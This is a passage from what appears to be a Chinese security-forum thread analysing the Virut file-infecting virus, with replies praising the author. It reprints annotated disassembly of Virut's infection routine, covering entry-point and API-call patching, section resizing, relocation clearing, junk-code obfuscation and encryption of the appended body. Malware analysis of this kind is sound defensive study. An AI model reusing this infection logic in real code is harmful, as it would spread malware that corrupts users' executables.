push (added_virus_code_length - 2) & 0xfffffffe  偶数对齐
clc
这两条指令为一组
剩下一条一组

首先会产生产生5个块 将上面的五组指令隐藏在花指令块中
接下来会用jmp将这些块连接起来,最后一块跳向添加的病毒代码

这里面有一个特殊的指令
jge

0f 8d xxxxxxxx

会变变成7d xx 余下的4个byte插入花指令

过程和前面分块 插花差不多 代码就不贴了

9)感染方式1:修改入口

方式2:patch api调用call  dword ptr[api]  变成了  jmp virut
       jmp dword ptr[api] jmp virut

seg007:7FF93B58                   @motify_rukou_infection:                ; CODE XREF: infect+8CCj
seg007:7FF93B58                                                           ; infect+8E6j ...
seg007:7FF93B58 5A                                pop     edx             ; edx指向被感染文件的节表中的最后一个节
seg007:7FF93B59 8B 8D 52 60 F3 04                 mov     ecx, ss:(filealig_infectedcodesize - 7B05F000h)[ebp]
seg007:7FF93B5F 8B B5 4E 60 F3 04                 mov     esi, ss:(hmapview_infected_file - 7B05F000h)[ebp]
seg007:7FF93B65
seg007:7FF93B65                   loc_7FF93B65:                           ; DATA XREF: infect+63r
seg007:7FF93B65 68 5C 41 E0 D2                    push    0D2E0415Ch      ; 感染标记dword
seg007:7FF93B6A 8F 43 08                          pop     dword ptr [ebx+8] ; pe头偏移为8的地方写入了一个随机的dword
seg007:7FF93B6D 01 4A 10                          add     [edx+IMAGE_SECTION_HEADER.SizeOfRawData], ecx ; 增加节的大小
seg007:7FF93B70 83 63 58 00                       and     [ebx+IMAGE_NT_HEADERS.OptionalHeader.CheckSum], 0
seg007:7FF93B74 8B 85 5A 60 F3 04                 mov     eax, ss:(imagealig__infectedcodesize - 7B05F000h)[ebp]
seg007:7FF93B7A 01 42 08                          add     [edx+IMAGE_SECTION_HEADER.Misc.VirtualSize], eax
seg007:7FF93B7D 8B 4A 0C                          mov     ecx, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
seg007:7FF93B80 01 43 50                          add     [ebx+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], eax
seg007:7FF93B83 39 8B 88 00 00 00                 cmp     [ebx+S_PE_HEADER.resource_table_RVA], ecx ; ebx + 88指向rva of resource directory
seg007:7FF93B89 75 09                             jnz     short loc_7FF93B94 ; rva of base relocation directory 清零
seg007:7FF93B8B FF 72 08                          push    [edx+S_PE_SECTION.virtual_size]
seg007:7FF93B8E 8F 83 8C 00 00 00                 pop     [ebx+S_PE_HEADER.resource_table_size] ; 写到size of resource directory
seg007:7FF93B94
seg007:7FF93B94                   loc_7FF93B94:                           ; CODE XREF: infect+C54j
seg007:7FF93B94 83 A3 A0 00 00 00+                and     [ebx+S_PE_HEADER.reloc_table_RVA], 0 ; rva of base relocation directory 清零
seg007:7FF93B9B 83 A3 A4 00 00 00+                and     [ebx+S_PE_HEADER.reloc_table_size], 0 ; size of base relocation directory清零
seg007:7FF93BA2 66 81 63 5E 3F FE                 and     [ebx+IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics], 0FE3Fh
seg007:7FF93BA8 FF B5 BA 60 F3 04                 push    ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93BAE 68 0D 00 00 00                    push    0Dh
seg007:7FF93BB3 58                                pop     eax             ; 为了感染的程序 入口处的call能够获取返回地址
seg007:7FF93BB4 E8 73 F2 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF93BB9 40                                inc     eax
seg007:7FF93BBA 03 85 AA 60 F3 04                 add     eax, ss:(infectsection_voffset_jia_sizeofrawdata - 7B05F000h)[ebp]
seg007:7FF93BC0 29 04 24                          sub     [esp], eax      ; oep -
seg007:7FF93BC0                                                           ; (infectsection_voffset_jia_sizeofrawdata + 0d对应的变形后的偏移)
seg007:7FF93BC3 68 F9 00 00 00                    push    0F9h ; '?
seg007:7FF93BC8 58                                pop     eax             ; 写入dword的位置在变形前 +f9  
seg007:7FF93BC9 E8 5E F2 FF FF                    call    func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF93BCE 03 85 9A 60 F3 04                 add     eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93BD4 8B 95 D2 60 F3 04                 mov     edx, ss:(new_oep - 7B05F000h)[ebp]
seg007:7FF93BDA 8F 00                             pop     dword ptr [eax] ; 是为了在感染程序入口处获取call后面的地址 达到返回的目的
									    这样找原来入口的方式为 virut开始处第一个call返回地址+ 刚刚pop的值
									   也就是xor ebp,xxx中的xxx
seg007:7FF93BDC 80 BD CC 60 F3 04+                cmp     ss:(found_api_import - 7B05F000h)[ebp], 0FFh ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93BE3 75 05                             jnz     short loc_7FF93BEA
seg007:7FF93BE5 89 53 28                          mov     [ebx+IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint], edx
seg007:7FF93BE8 EB 1F                             jmp     short loc_7FF93C09
seg007:7FF93BEA                   ; ---------------------------------------------------------------------------
seg007:7FF93BEA
seg007:7FF93BEA                   loc_7FF93BEA:                           ; CODE XREF: infect+CAEj
seg007:7FF93BEA 8B BD 4E 60 F3 04                 mov     edi, ss:(hmapview_infected_file - 7B05F000h)[ebp]
seg007:7FF93BF0 03 BD BA 60 F3 04                 add     edi, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93BF6 03 BD A6 60 F3 04                 add     edi, ss:(pointertorawdata_Jian_virtualaddress - 7B05F000h)[ebp]
seg007:7FF93BFC B0 E9                             mov     al, 0E9h ; '?
seg007:7FF93BFE AA                                stosb
seg007:7FF93BFF 8D 42 FB                          lea     eax, [edx-5]
seg007:7FF93C02 2B 85 BA 60 F3 04                 sub     eax, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93C08 AB                                stosd                   ; patch iat调用为跳向添加的病毒代码 或者入口节添加的解密代码
seg007:7FF93C08                                                           ; 003A0200   /E9 5B010000                  jmp     003A0360
seg007:7FF93C08                                                           ;
seg007:7FF93C08                                                           ;
seg007:7FF93C09
seg007:7FF93C09                   loc_7FF93C09:                           ; CODE XREF: infect+CB3j
seg007:7FF93C09 66 83 BD 47 4C F3+                cmp     word ptr ss:(@encrypt_added_virus_code+3 - 7B05F000h)[ebp], 0 ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C11 74 3B                             jz      short loc_7FF93C4E
seg007:7FF93C13 8B 8D D9 1D F3 04                 mov     ecx, ss:(virus_code_length - 7B05F000h)[ebp]
seg007:7FF93C19 8B BD 9A 60 F3 04                 mov     edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93C1F 80 E1 FE                          and     cl, 0FEh        ; 偶数对齐
seg007:7FF93C22 F7 85 1A 3E F3 04+                test    ss:(control_flag - 7B05F000h)[ebp], 4
seg007:7FF93C2C 8D 7C 39 FE                       lea     edi, [ecx+edi-2]
seg007:7FF93C30 74 09                             jz      short loc_7FF93C3B ; 与7FF93996处是对应的 一个解密 一个加密
seg007:7FF93C32 80 A5 46 4C F3 04+                and     byte ptr ss:(@encrypt_added_virus_code+2 - 7B05F000h)[ebp], 0D7h ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C39 EB 07                             jmp     short loc_7FF93C42
seg007:7FF93C3B                   ; ---------------------------------------------------------------------------
seg007:7FF93C3B
seg007:7FF93C3B                   loc_7FF93C3B:                           ; CODE XREF: infect+CFBj
seg007:7FF93C3B 80 8D 46 4C F3 04+                or      byte ptr ss:(@encrypt_added_virus_code+2 - 7B05F000h)[ebp], 28h ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C42
seg007:7FF93C42                   loc_7FF93C42:                           ; CODE XREF: infect+D04j
seg007:7FF93C42 D1 E9                             shr     ecx, 1
seg007:7FF93C44

加密添加的病毒代码:
seg007:7FF93C44                   @encrypt_added_virus_code:              ; CODE XREF: infect+D17j
seg007:7FF93C44                                                           ; DATA XREF: infect+CFDw ...
seg007:7FF93C44 66 81 07 00 00                    add     word ptr [edi], 0 ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C49 83 EF 02                          sub     edi, 2
seg007:7FF93C4C E2 F6                             loop    @encrypt_added_virus_code ; 这里操作可能是减 加或者减的数会被前面修改


10)扫尾操作 UnmapViewOfFile SetFileTime SetEndOfFile等

附件密码virut
对于附件中idb:

我让virut注入到自身这样容易看,注入基址7FF90000

virut自己申请的空间基址00390000 用来解密body

感染的文件map的起始地址3a0000
上传的附件:
2012-5-24 23:50
0
雪    币: 1121
活跃值: (742)
能力值: ( LV5,RANK:66 )
在线值:
发帖
回帖
粉丝
3
楼主有毅力啊,不知楼主看了多少天。
我当初零零散散的看了半个月才弄的差不多明白,然后发现论坛有徐大力的文章在。
不过幸好没早看,逆向这玩意,一开始就看别人的,没意思了。
2012-5-25 00:00
0
雪    币: 1024
活跃值: (240)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
4
说的很对 我有时间就看一点 也说不好多少天
2012-5-25 00:12
0
雪    币: 391
活跃值: (135)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
5
袁哥确实很有毅力,技术强,是非常有实力和潜力的malware analyst
2012-5-25 01:06
0
雪    币: 98
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
Virut啊 跟袁哥的差距还很大啊 惭愧
2012-5-25 09:20
0
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
7
virut是值得玩一下,多谢楼主分享
2012-5-25 18:11
0
雪    币: 500
活跃值: (1005)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好文章要顶
2012-5-25 21:03
0
雪    币: 2194
活跃值: (1001)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
没个把星期估计是无法消化掉这么长的分析文章
  功力太浅了
2012-5-26 18:18
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
这个id以后要火
2012-5-28 16:47
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
我是指楼主yuansunxue
2012-5-28 16:47
0
雪    币: 74
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
膜拜的強人啊!
2012-5-31 04:00
0
雪    币: 125
活跃值: (161)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
不敢看 我都还没有具体分析过? 看完就没意思了。
2012-6-1 18:38
0
雪    币: 43
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
很厉害!!!!
2014-3-23 19:51
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
15
mark一个
2014-3-23 19:59
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
好文章要顶,虽然我不完全看的懂,但是看到注释那么详尽,可见LZ分析还是很深入认真地.
2014-3-25 15:09
0
游客
登录 | 注册 方可回帖
返回
//